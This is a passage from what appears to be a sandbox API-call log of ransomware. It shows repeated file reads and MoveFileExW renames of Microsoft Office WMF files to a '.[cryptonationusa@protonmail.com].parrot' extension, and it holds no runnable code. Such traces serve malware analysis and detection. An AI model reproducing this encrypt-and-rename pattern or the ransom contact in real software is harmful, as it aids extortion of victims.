lpNumberOfBytesRead=0x18ebe4*=0x5fc, lpOverlapped=0x0) returned 1 [0164.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18237_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18237_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0164.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.165] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.166] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.166] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x634, lpOverlapped=0x0) returned 1 [0164.167] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18238_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18238_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0164.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.170] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.172] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x93c4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x93c4, lpOverlapped=0x0) returned 1 [0164.174] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18239_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18239_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a80d8 | out: hHeap=0x5b0000) returned 1 [0164.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.179] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.180] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.181] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xac8, lpOverlapped=0x0) returned 1 [0164.181] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0164.200] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.201] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.202] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.202] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x822, lpOverlapped=0x0) returned 1 [0164.203] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.208] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.208] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.209] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.209] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x822, lpOverlapped=0x0) returned 1 [0164.210] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.214] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.214] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.216] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.216] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6ec, lpOverlapped=0x0) returned 1 [0164.216] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18244_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.218] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.220] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.220] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.221] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.222] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xea2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xea2, lpOverlapped=0x0) returned 1 [0164.222] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18245_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18245_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0164.229] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.229] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.230] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.230] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa28, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa28, lpOverlapped=0x0) returned 1 [0164.231] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18246_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18246_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.234] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.234] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.236] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.236] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd68, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd68, lpOverlapped=0x0) returned 1 [0164.236] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18247_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18247_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0164.240] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.240] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.241] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.242] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd70, lpOverlapped=0x0) returned 1 [0164.242] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18248_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18248_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0164.245] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.245] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.247] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.247] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8a4, lpOverlapped=0x0) returned 1 [0164.247] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18249_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18249_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.249] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.252] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.252] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.255] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.255] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x142e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x142e, lpOverlapped=0x0) returned 1 [0164.256] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18250_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18250_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0164.260] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.260] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.262] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.262] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x90c, lpOverlapped=0x0) returned 1 [0164.262] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18251_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18251_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.264] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.266] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.266] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.268] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.268] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x756, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x756, lpOverlapped=0x0) returned 1 [0164.268] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.268] MoveFileExW 